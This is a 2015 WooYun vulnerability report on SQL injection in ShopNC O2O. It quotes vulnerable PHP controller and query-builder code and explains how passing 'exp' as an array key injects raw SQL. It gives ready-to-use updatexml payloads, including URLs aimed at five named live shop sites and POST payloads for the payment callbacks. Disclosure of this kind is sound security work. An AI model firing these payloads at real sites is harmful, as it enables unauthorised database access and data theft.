当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125517

漏洞标题:shopnc o2o版三处SQL注入打包#2

相关厂商:shopnc.net

漏洞作者: 路人甲

提交时间:2015-07-09 12:38

修复时间:2015-10-12 12:41

公开时间:2015-10-12 12:41

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-07: 细节向核心白帽子及相关领域专家公开
2015-09-17: 细节向普通白帽子公开
2015-09-27: 细节向实习白帽子公开
2015-10-12: 细节向公众公开

简要描述:

直接出数据

详细说明:

先五个案例

http://www.0795hui.com/circle/index.php?op=check_circle_name&name[0]=exp&name[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://zengshijz.com/modules/circle/index.php?op=check_circle_name&name[0]=exp&name[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://sn.atmbux.com/circle/index.php?op=check_circle_name&name[0]=exp&name[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://www.wbshyw.com/circle/index.php?op=check_circle_name&name[0]=exp&name[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://o.yugongw.com/circle/index.php?op=check_circle_name&name[0]=exp&name[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


注入#1
看到
/circle/control/index.php

public function check_circle_nameOp(){
$name = $_GET['name'];
//echo 1111;
if (strtoupper(CHARSET) == 'GBK'){
$name = Language::getGBK($name);
}
$rs = Model()->table('circle')->where(array('circle_name'=>$name))->find();
if (!empty($rs)){
echo 'false';
}else{
echo 'true';
}
}


其中$name是通过GET进来的
看到这个数据库的底层函数

protected function parseWhereItem($key,$val) {
$whereStr = '';
if(is_array($val)) {
if(is_string($val[0])) {
if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT|NOTLIKE|LIKE)$/i',$val[0])) { // 比较运算
$whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
}elseif('exp'==strtolower($val[0])){ // 使用表达式
// $whereStr .= ' ('.$key.' '.$val[1].') ';
$whereStr .= $val[1];
}elseif(preg_match('/IN/i',$val[0])){ // IN 运算
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
}else{
if (empty($val[1])){
$whereStr .= $key.' '.strtoupper($val[0]).'(\'\')';
}elseif(is_string($val[1]) || is_numeric($val[1])) {
$val[1] = explode(',',$val[1]);
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}elseif(is_array($val[1])){
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
}
}
}elseif(preg_match('/BETWEEN/i',$val[0])){
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
}else{
$error = 'Model Error: args '.$val[0].' is error!';
throw_exception($error);
}
}else {
$count = count($val);
if(@in_array(strtoupper(trim($val[$count-1])),array('AND','OR','XOR'))) {
$rule = strtoupper(trim($val[$count-1]));
$count = $count -1;
}else{
$rule = 'AND';
}
for($i=0;$i<$count;$i++) {
if (is_array($val[$i])){
if (is_array($val[$i][1])){
$data = implode(',',$val[$i][1]);
}else{
$data = $val[$i][1];
}
}else{
$data = $val[$i];
}
if('exp'==strtolower($val[$i][0])) {
$whereStr .= '('.$key.' '.$data.') '.$rule.' ';
}else{
$op = is_array($val[$i])?$this->comparison[strtolower($val[$i][0])]:'=';
if(preg_match('/IN/i',$op)){
$whereStr .= '('.$key.' '.$op.' ('.$this->parseValue($data).')) '.$rule.' ';
}else{
$whereStr .= '('.$key.' '.$op.' '.$this->parseValue($data).') '.$rule.' ';
}

}
}
$whereStr = substr($whereStr,0,-4);
}
}else {
$whereStr .= $key.' = '.$this->parseValue($val);
}
return $whereStr;
}


如果传进来是数组,val[0]=exp则val[1]=任意的sql语句了
exp为

index.php?op=check_circle_name&name[0]=exp&name[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


注入#2
看到到代码
shop/control/payment.php

public function notifyOp(){
//外部订单号
//echo 111;
$order_sn = $_POST['out_trade_no'];

//获取订单
$model = Model();
$order = $model->table('order')->where(array('order_sn'=>$order_sn))->find();

if(empty($order)){
exit(L('nc_groupbuy_order_is_not_exist'));
}

if($order['state'] == 2){
exit(L('nc_groupbuy_order_is_payment'));
}

//支付方式
$payment_id = 1;
$payment = $model->table('payment')->where(array('payment_id'=>$payment_id))->find();

//支付信息
$payment_info = array();
$payment_info['payment_config'] = unserialize($payment['payment_config']);

$inc_file = BASE_ROOT_PATH.DS.ATTACH_PATH.DS.'api'.DS.'gold_payment'.DS.$payment['payment_code'].DS.$payment['payment_code'].'.php';

//加载配置文件
require_once($inc_file);
$payment_api = new $payment['payment_code']($payment_info,$order);
if($payment_api->notify_verify()){
$result = $model->table('order')->where(array('order_sn'=>$order_sn))->update(array('state'=>2));

//生成密码券
$orderpwd = '';
for($i=0;$i<$order['number'];$i++){
$orderpwd = $this->orderpwdOp($order['order_id']).',';
}

//发送短信
$post_data = array(
'phone' => $order['mobile'],
'text' => '团购成功,您的团购密码:'.trim($orderpwd,',')
);

$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,BASE_SITE_URL."/api/message/demo.php");
curl_setopt($ch,CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, $post_data);
$output = curl_exec($ch);
curl_close($ch);


if($result){
exit(L('nc_groupbuy_is_succ'));
}else{
exit(L('nc_groupbuy_is_fail'));
}
}else{
exit(L('nc_groupbuy_is_fail'));
}
}


其中out_trade_no通过post传进来的
可以构造exp

index.php?act=payment&op=notify


然后post数据

out_trade_no[0]=exp&out_trade_no[1]=updatexml(1,concat(0x5c,user(),1))%23


注入#3&#4
shop\control\predeposit_payment.php

public function notifyOp(){
//外部订单号
$pdr_sn = $_POST['out_trade_no']; //注入3

//获取订单
$model = Model();
$order = $model->table('predeposit_charge')->where(array('pdr_sn'=>$pdr_sn))->find();

if(empty($order)){
exit(L('nc_groupbuy_order_is_not_exist'));
}

if($order['state'] == 2){
exit(L('nc_groupbuy_order_is_payment'));
}

//支付方式
$payment_id = 1;
$payment = $model->table('payment')->where(array('payment_id'=>$payment_id))->find();

//支付信息
$payment_info = array();
$payment_info['payment_config'] = unserialize($payment['payment_config']);
$inc_file = BASE_ROOT_PATH.DS.ATTACH_PATH.DS.'api'.DS.'gold_payment'.DS.$payment['payment_code'].DS.$payment['payment_code'].'.php';

//加载配置文件
require_once($inc_file);
$payment_api = new $payment['payment_code']($payment_info,$order);
if($payment_api->notify_verify()){
$result = $model->table('predeposit_charge')->where(array('pdr_sn'=>$pdr_sn))->update(array('state'=>2));
$predeposit_params = array();
$predeposit_params['member_id'] = $_SESSION['member_id'];
$predeposit_params['member_name'] = $_SESSION['member_name'];
$predeposit_params['type'] = 1;
$predeposit_params['content'] = 2;
$predeposit_params['order_sn']= $order['pdr_sn'];
$predeposit_params['price'] = $order['charge_price'];
$predeposit_model = Model('predeposit');
$predeposit_model->addlog($predeposit_params);
if($result){
exit(L('nc_groupbuy_is_succ'));
}else{
exit(L('nc_groupbuy_is_fail'));
}
}else{
exit(L('nc_groupbuy_is_fail'));
}
}

/*
* 返回地址
*/
public function returnOp(){
//外部订单号
$pdr_sn = $_GET['out_trade_no']; //注入4

//获取订单
$model = Model();
$predeposit_charge = $model->table('predeposit_charge')->where(array('pdr_sn'=>$pdr_sn))->find();

if(empty($predeposit_charge)){
$this->showTip('记录不存在',BASE_SITE_URL.'/index.php?act=memberpredeposit&op=list','html','error');
}

if($predeposit_charge['state'] == 2){
$this->showTip('该订单支付过',BASE_SITE_URL.'/index.php?act=memberpredeposit&op=list','html','error');
}

//支付方式
$payment = $model->table('payment')->where(array('payment_id'=>1))->find();
$inc_file= BASE_ROOT_PATH.DS.ATTACH_PATH.DS.'api'.DS.'gold_payment'.DS.$payment['payment_code'].DS.$payment['payment_code'].'.php';

//支付信息
$payment_info = array();
$payment_info['payment_config'] = unserialize($payment['payment_config']);

//加载配置文件
require_once($inc_file);
$payment_api = new $payment['payment_code']($payment_info,$predeposit_charge);
if($payment_api->return_verify()){
$result = $model->table('predeposit_charge')->where(array('pdr_sn'=>$pdr_sn))->update(array('state'=>2));
if($result){
$params = array();
$params['predeposit'] = array('exp','predeposit+'.$predeposit_charge['charge_price']);
$model = Model();
$model->table('member')->where(array('member_id'=>$predeposit_charge['member_id']))->update($params);

$predeposit_params = array();
$predeposit_params['member_id'] = $_SESSION['member_id'];
$predeposit_params['member_name'] = $_SESSION['member_name'];
$predeposit_params['type'] = 1;
$predeposit_params['content'] = 2;
$predeposit_params['order_sn']= $predeposit_charge['pdr_sn'];
$predeposit_params['price'] = $predeposit_charge['charge_price'];
$predeposit_model = Model('predeposit');
$predeposit_model->addlog($predeposit_params);
$this->showTip('支付成功',BASE_SITE_URL.'/index.php?act=memberpredeposit&op=list','succ');
}else{
$this->showTip('支付失败',BASE_SITE_URL.'/index.php?act=memberpredeposit&op=list','html','error');
}
}else{
$this->showTip('支付失败',BASE_SITE_URL.'/index.php?act=memberpredeposit&op=list','html','error');
}
}


漏洞证明:

QQ截图20150708231807.png

QQ截图20150708231729.png

QQ截图20150708231606.png


修复方案:

xxxx

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-12 12:41

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无